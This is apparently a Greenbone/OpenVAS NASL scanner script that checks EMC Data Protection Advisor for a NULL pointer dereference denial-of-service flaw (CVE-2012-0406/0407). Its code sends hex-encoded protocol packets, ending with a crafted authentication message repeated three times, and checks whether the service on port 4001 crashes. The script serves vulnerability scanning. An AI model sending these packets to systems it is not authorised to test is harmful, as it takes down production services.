EMC Data Protection Advisor NULL Pointer Dereference Denial of Service Vulnerability

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802827");
  script_version("2023-07-21T05:05:22+0000");
  script_cve_id("CVE-2012-0406", "CVE-2012-0407");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:C");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2012-04-04 14:58:28 +0530 (Wed, 04 Apr 2012)");
  script_name("EMC Data Protection Advisor NULL Pointer Dereference Denial of Service Vulnerability");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Denial of Service");
  script_dependencies("find_service.nasl");
  script_require_ports(4001);

  script_xref(name:"URL", value:"http://secunia.com/advisories/48658");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/52833");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/53164");
  script_xref(name:"URL", value:"http://securitytracker.com/id/1026878");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/18688/");
  script_xref(name:"URL", value:"http://aluigi.altervista.org/adv/dpa_1-adv.txt");
  script_xref(name:"URL", value:"http://forums.cnet.com/7726-6132_102-5292999.html");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/522408/30/0/threaded");
  script_xref(name:"URL", value:"http://seclists.org/bugtraq/2012/Apr/att-132/ESA-2012-018.txt");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to cause denial of
  service condition.");

  script_tag(name:"affected", value:"EMC Data Protection Advisor version 5.8.1 Build 5991 and prior");

  script_tag(name:"insight", value:"The flaw is due to an NULL pointer dereference error in the DPA
  Controller and Listener service when processing certain authentication
  packets sent to port 3916/TCP and 4001/TCP, which could be exploited by
  remote attackers to crash an affected server.");

  script_tag(name:"solution", value:"Vendor has released a patch to fix this issue, please see the references
  for more information.");

  script_tag(name:"summary", value:"EMC Data Protection Advisor is prone to a denial of service (DoS) vulnerability.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

dpaPort = 4001;
if(!get_port_state(dpaPort)){
  exit(0);
}

soc = open_sock_tcp(dpaPort);
if(!soc){
  exit(0);
}

req = raw_string(0x34, 0x34, 0x2f, 0x34, 0x34, 0x2f, 0x55, 0x4e, 0x42,
                 0x3c, 0x4c, 0x58, 0x4d, 0x4c, 0x52, 0x45, 0x51, 0x55,
                 0x45, 0x53, 0x54, 0x3e, 0x3c, 0x47, 0x45, 0x54, 0x53,
                 0x54, 0x41, 0x54, 0x55, 0x53, 0x49, 0x4e, 0x46, 0x4f,
                 0x20, 0x2f, 0x3e, 0x3c, 0x2f, 0x4c, 0x58, 0x4d, 0x4c,
                 0x52, 0x45, 0x51, 0x55, 0x45, 0x53, 0x54, 0x3e);

send(socket:soc, data:req);

res  = recv(socket:soc, length:1024);

if("<PRODUCT>DPA</PRODUCT>" >!< res){
  exit(0);
}

# nb: Request to Set the Encryption
req1 = raw_string(0x31, 0x33, 0x35, 0x2f, 0x31, 0x33, 0x35, 0x2f, 0x55,
                  0x4e, 0x42, 0x3c, 0x4c, 0x58, 0x4d, 0x4c, 0x52, 0x45,
                  0x51, 0x55, 0x45, 0x53, 0x54, 0x3e, 0x3c, 0x53, 0x45,
                  0x54, 0x45, 0x4e, 0x43, 0x52, 0x59, 0x50, 0x54, 0x49,
                  0x4f, 0x4e, 0x3e, 0x20, 0x3c, 0x45, 0x4e, 0x43, 0x52,
                  0x59, 0x50, 0x54, 0x49, 0x4f, 0x4e, 0x44, 0x41, 0x54,
                  0x41, 0x3e, 0x20, 0x20, 0x3c, 0x54, 0x59, 0x50, 0x45,
                  0x3e, 0x4e, 0x6f, 0x6e, 0x65, 0x3c, 0x2f, 0x54, 0x59,
                  0x50, 0x45, 0x3e, 0x20, 0x20, 0x3c, 0x44, 0x58, 0x54,
                  0x59, 0x50, 0x45, 0x3e, 0x4e, 0x6f, 0x6e, 0x65, 0x3c,
                  0x2f, 0x44, 0x58, 0x54, 0x59, 0x50, 0x45, 0x3e, 0x20,
                  0x3c, 0x2f, 0x45, 0x4e, 0x43, 0x52, 0x59, 0x50, 0x54,
                  0x49, 0x4f, 0x4e, 0x44, 0x41, 0x54, 0x41, 0x3e, 0x3c,
                  0x2f, 0x53, 0x45, 0x54, 0x45, 0x4e, 0x43, 0x52, 0x59,
                  0x50, 0x54, 0x49, 0x4f, 0x4e, 0x3e, 0x3c, 0x2f, 0x4c,
                  0x58, 0x4d, 0x4c, 0x52, 0x45, 0x51, 0x55, 0x45, 0x53,
                  0x54, 0x3e);

send(socket:soc, data:req1);
res  = recv(socket:soc, length:1024);

if(!res)
{
  close(soc);
  exit(0);
}

# nb: Crafted Authentication Packet
req2 = raw_string(0x32, 0x32, 0x34, 0x2f, 0x32, 0x32, 0x34, 0x2f, 0x55,
                  0x4e, 0x42, 0x3c, 0x4c, 0x58, 0x4d, 0x4c, 0x52, 0x45,
                  0x51, 0x55, 0x45, 0x53, 0x54, 0x3e, 0x3c, 0x41, 0x55,
                  0x54, 0x48, 0x45, 0x4e, 0x54, 0x49, 0x43, 0x41, 0x54,
                  0x45, 0x43, 0x4f, 0x4e, 0x4e, 0x45, 0x43, 0x54, 0x49,
                  0x4f, 0x4e, 0x3e, 0x20, 0x3c, 0x41, 0x55, 0x54, 0x48,
                  0x45, 0x4e, 0x54, 0x49, 0x43, 0x41, 0x54, 0x49, 0x4f,
                  0x4e, 0x44, 0x41, 0x54, 0x41, 0x3e, 0x20, 0x20, 0x3c,
                  0x41, 0x55, 0x54, 0x48, 0x4c, 0x45, 0x56, 0x45, 0x4c,
                  0x3e, 0x46, 0x75, 0x6c, 0x6c, 0x3c, 0x2f, 0x41, 0x55,
                  0x54, 0x48, 0x4c, 0x45, 0x56, 0x45, 0x4c, 0x3e, 0x20,
                  0x20, 0x3c, 0x55, 0x53, 0x45, 0x52, 0x4e, 0x41, 0x4d,
                  0x45, 0x3e, 0x77, 0x79, 0x73, 0x64, 0x6d, 0x5f, 0x70,
                  0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x5f, 0x75, 0x73,
                  0x65, 0x72, 0x3c, 0x2f, 0x55, 0x53, 0x45, 0x52, 0x4e,
                  0x41, 0x4d, 0x45, 0x3e, 0x20, 0x20, 0x3c, 0x43, 0x4c,
                  0x49, 0x45, 0x4e, 0x54, 0x49, 0x44, 0x3e, 0x67, 0x75,
                  0x69, 0x3a, 0x68, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d,
                  0x65, 0x3c, 0x2f, 0x43, 0x4c, 0x49, 0x45, 0x4e, 0x54,
                  0x49, 0x44, 0x3e, 0x20, 0x3c, 0x2f, 0x41, 0x55, 0x54,
                  0x48, 0x45, 0x4e, 0x54, 0x49, 0x43, 0x41, 0x54, 0x49,
                  0x4f, 0x4e, 0x44, 0x41, 0x54, 0x41, 0x3e, 0x3c, 0x2f,
                  0x41, 0x55, 0x54, 0x48, 0x45, 0x4e, 0x54, 0x49, 0x43,
                  0x41, 0x54, 0x45, 0x43, 0x4f, 0x4e, 0x4e, 0x45, 0x43,
                  0x54, 0x49, 0x4f, 0x4e, 0x3e, 0x3c, 0x2f, 0x4c, 0x58,
                  0x4d, 0x4c, 0x52, 0x45, 0x51, 0x55, 0x45, 0x53, 0x54,
                  0x3e);

for(i=0; i < 3; i++)
{
  send(socket:soc, data:req2);
  sleep(3);

  soc2 = open_sock_tcp(dpaPort);
  if(!soc2)
  {
    security_message(dpaPort);
    close(soc);
    exit(0);
  }
  close(soc2);
}
close(soc);